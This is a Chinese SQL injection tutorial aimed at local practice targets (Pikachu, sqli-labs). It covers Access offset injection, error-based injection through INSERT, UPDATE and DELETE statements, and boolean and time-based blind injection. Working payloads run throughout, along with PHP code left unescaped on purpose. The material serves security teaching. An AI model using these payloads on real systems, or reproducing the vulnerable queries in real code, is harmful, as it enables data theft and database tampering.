目录
前言
进行SQL注入时,有很多注入无回显的情况,不回显可能是SQL语句查询方式的问题导致,这个时候需要用到相关的报错或盲注进行后续操作。提前了解SQL语句写法也能更好的在手工注入时选择对应的注入语句。
补充:上一讲中,Access暴力猜解不出时,如何应对
Access偏移注入:解决表名已知但列名无法获取的情况。
也可以查看登录框源码表单值、观察URL特征。
access偏移注入_access偏移注入原理_baynk的博客-CSDN博客
例如:order by 22 正常,order by 23不正常。
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin 正常
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin 不正常
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,* from admin 不正常
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin 不正常
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin 不正常
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 正常
说明 admin 表下有6个列。以 '*' 代表 admin 表的字段数,计算 * 所代替字符的位数。
Access偏移注入原理的基本公式:(order by 出的字段数) - 2*('*'号的字段数)
即:
* = 6个字符
2 × * = 12个字符
22 - 12 = 10个字符
所以一级注入语句:
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)
如果没有爆出信息,继续二级偏移:
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
SQL查询方式:INSERT注入
select 查询数据 在网站应用中进行数据显示查询操作 例: select * from news where id=$id insert 插入数据 在网站应用中进行用户注册添加等操作 例: insert into news (id, url,text) values ( 2,'x','$t') delete 删除数据 后台管理里面删除文章删除用户等操作 例: delete from news where id=$id update 更新数据 会员或后台中心数据同步或缓存等操作 例: update user set pwd='$p' where id=2 and username=' admin' order by 排序数据 一般结合表名或列名进行数据排序操作 例: select * from news order by $id 例: select id , name , price from news order by $order
之前讲的注入基本都是基于SELECT,最常见的一种形式。
以本地靶场 Pikachu->SQL-inject->insert/update 注入 为例。
if(isset($_POST['submit'])){ if($_POST['username']!=null &&$_POST['password']!=null){ // $getdata=escape($link, $_POST);//转义 //没转义,导致注入漏洞,操作类型为insert $getdata=$_POST; $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ $html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>"; }else { $html.="<p>注册失败,请检查下数据库是否还活着</p>"; } }else{ $html.="<p>必填项不能为空哦</p>"; } }
开启抓包,点击提交,发现数据包是以下格式:
尝试常规注入语句时:
username=xiaodi' order by 1&password=123456&sex=man&phonenum=13878787788&email=wuhan&add=hubei&submit=submit
页面无回显,只有注册成功或报错。
来到数据库命令行,发现这样的注入语句根本无法正常执行。
无回显指的在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。盲注分为以下三类:
- 基于布尔的SQL盲注:逻辑判断
regexp, like, ascii, left, ord, mid
- 基于时间的SQL盲注:延时判断
if, sleep
- 基于报错的SQL盲注:报错回显
floor, updatexml, extractvalue
实际情况中,优先尝试报错注入(效率最高),其次布尔盲注、时间盲注。
UPDATEXML()报错注入
接下来,针对Pikachu insert/update注入,尝试使用报错注入爆信息。
首先了解一下updatexml()函数。
UPDATEXML(XML_document, XPath_string, new_value); XML_document: String格式,为XML文档对象的名称,文中为Doc XPath_string: Xpath格式的字符串 new_value: String格式,替换查找到的符合条件的数据 作用:改变文档中符合条件的节点的值(改变XML_document中符合XPATH_string的值)
使用UPDATEXML()注入。注入语句:
updatexml(1,concat(0x7e,database(),0x7e),1) updatexml(1,concat(0x7e,version(),0x7e),1) updatexml(1,concat(0x7e,user(),0x7e),1) // concat()函数是将括号内连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出信息 username=xiaodi'or updatexml(1,concat(0x7e,database(),0x7e),0) or'&password=123456&sex=man&phonenum=13878787878&email=wuhan&add=hubei&submit=submit
EXTRACTVALUE()报错注入
extractvalue():从目标XML中返回包含所查询值的字符串。 EXTRACTVALUE (XML_document, XPath_string); 第一个参数:XML_document是String格式,为XML文档对象的名称 第二个参数:XPath_string (Xpath格式的字符串) concat:返回结果为连接参数产生的字符串。
username=xiaodi'or extractvalue(1,concat(0x7e,(select version()),0x7e)) or'&password=123456&sex=man&phonenum=13878787878&email=wuhan&add=hubei&submit=submit
FLOOR()报错注入
- floor() 函数,向下取整
- rand() 函数,取随机数,若有参数x,则每个x对应一个固定的值,如果连续多次执行会变化,但是可以预测
- floor( rand( 0 ) * 2 ) 产生的随机序列为011011…
利用数据库表主键不能重复的原理,使用
GROUP BY
分组,产生主键key冗余,导致报错,要使用floor报错注入则必须保证查询的表必须大于三条数据。username=x'or select 1 from(select count(*),concat((select(select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or'&password=123456&sex=man&phonenum=13878787878&email=wuhan&add=hubei&submit=submit
SQL查询方式:UPDATE注入
if(isset($_POST['submit'])){ if($_POST['sex']!=null && $_POST['phonenum']!=null && $_POST['add']!=null && $_POST['email']!=null){ // $getdata=escape($link, $_POST); //未转义,形成注入,sql操作类型为update $getdata=$_POST; $query="update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}'"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1 || mysqli_affected_rows($link)==0){ header("location:sqli_mem.php"); }else { $html1.='修改失败,请重试'; } } }
注入语句:
sex=男' or updatexml(1,concat(0x7e,version())),0) or '&phonenum=13878787878&email=wuhan&add=hubei&submit=submit
SQL查询方式:DELETE注入
与删除操作相关。
// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ //没对传进来的id进行处理,导致DEL注入 if(array_key_exists('id', $_GET)){ $query="delete from message where id={$_GET['id']}"; $result=execute($link, $query); if(mysqli_affected_rows($link)==1){ header("location:sqli_del.php"); }else{ $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>"; } }
抓包发现删除的操作和URL参数‘id’挂钩,即为注入点,注入语句拼接在其后即可:
注入语句:空格以 '+' 号或 '%20' 编码替代。
?id=58+or+updatexml(1,concat(0x7e,database()),0)
?id=58+or+extractvalue(1,concat(0x7e,database()))
布尔盲注:逻辑判断
函数:regexp, like, ascii, left, ord, mid
mid(str,start,length) :字符串截取 ORD() :转换成ascii码 Length() :统计长度 version() :查看数据库版本 database() :查看当前数据库名 user() :查看当前用户
like 'ro%' #判断ro或ro...是否成立 regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等 if(条件,5,0) #条件成立 返回5 反之 返回0 sleep(5) #soL语句延时执行5秒 mid(a,b,c) #从位置b开始,截取a字符串的c位 substr(a,b,c) #从b位置开始,截取字符串a的c长度 left(database(),1) #left(a,b)从左侧截取a的前b位 #一般用于有回显、但服务器限制输出长度的情况 length(database())=8 #判断数据库database()名的长度 ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
参考:sqli-labs/mysql-injection.pdf at master · lcamry/sqli-labs · GitHub
以 Sqlilabs/less-5/ 为例。这是一个无回显的题。
注入语句:(猜解版本、数据库名)
127.0.0.1/sqlilabs/less-5/?id=1' and left(version(),3)='5.5'--+
127.0.0.1/sqlilabs/less-5/?id=1' and left(database(),2)='se'--+
回显正常。说明猜解的版本号前3位 & 数据库名前2位正确。
注入语句:回显不正常说明猜解不正确。
127.0.0.1/sqlilabs/less-5/?id=1' and left(database(),2)='sx'--+
同样,无回显时也可以用length、mid、if、sleep等函数的结合通过页面是否正常判断猜解的信息是否正确。
时间盲注:延迟判断
if(条件,5,0) #条件成立 返回5 反之 返回0 sleep(5) #soL语句延时执行5秒
if 语句
在mysql中 if() 函数的用法类似 Java 中的三目表达式,其用处也比较多,具体语法如下:
参考:https://www.cnblogs.com/zjdxr-up/p/8383609.html
if(expr1,expr2,expr3) # 如果expr1的值为true, 则返回expr2的值; # 如果expr1的值为false, 则返回expr3的值。
mysql> select if(database()='pikachu',123,456); +----------------------------------+ | if(database()='pikachu',123,456) | +----------------------------------+ | 123 | +----------------------------------+ 1 row in set (0.00 sec) mysql> select if(database()='dadadad',123,456); +----------------------------------+ | if(database()='dadadad',123,456) | +----------------------------------+ | 456 | +----------------------------------+ 1 row in set (0.00 sec)
Sleep 语句
sleep(n)成功返回0,失败返回1。and 0 所以没有回显。
mysql> select * from member where id=1; +----+----------+----------------------------------+-------+----------+---------+--------+ | id | username | pw | sex | phonenum | address | email | +----+----------+----------------------------------+-------+----------+---------+--------+ | 1 | vince | e10adc3949ba59abbe56e057f20f883e | admin | asdasd | 四川 | 成都 | +----+----------+----------------------------------+-------+----------+---------+--------+ 1 row in set (0.00 sec) mysql> select * from member where id=1 and sleep(1); Empty set (1.00 sec) mysql> select * from member where id=1 and sleep(5); Empty set (5.00 sec)
if + Sleep 语句
mysql> select * from member where id=1 and sleep(if(database()='pikachu',5,0)); Empty set (5.00 sec)
不需回显,通过延迟时间判断条件是否成立。但实际渗透过程中由于受到网络的影响,时间注入不是很靠谱,不推荐。
以 Sqlilabs/Less-2 为例:注入语句:
127.0.0.1:8080/sqlilabs/less-2/?id=1 and sleep(if(database()='a',5,0))--+
实际使用可以先用 length() 猜解判断数据库名/表名/列名的长度,再用 ascii() 和 substr() 猜解每一位字符的ascii码。
if + mid + Sleep 语句
判断数据库名称是不是以p开头,如果是的话就延迟五秒输出。
mysql> select database(); +------------+ | database() | +------------+ | pikachu | +------------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 and sleep(if(mid(database(),1,1)='p',5,0)); Empty set (5.00 sec)
if + substr + ascii 码
if(ascii(substr(database(),1,1))=115,1,sleep(5))
's' 的 ascii 码是 115。判断数据库名第一位是否为 's'。
if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0)--+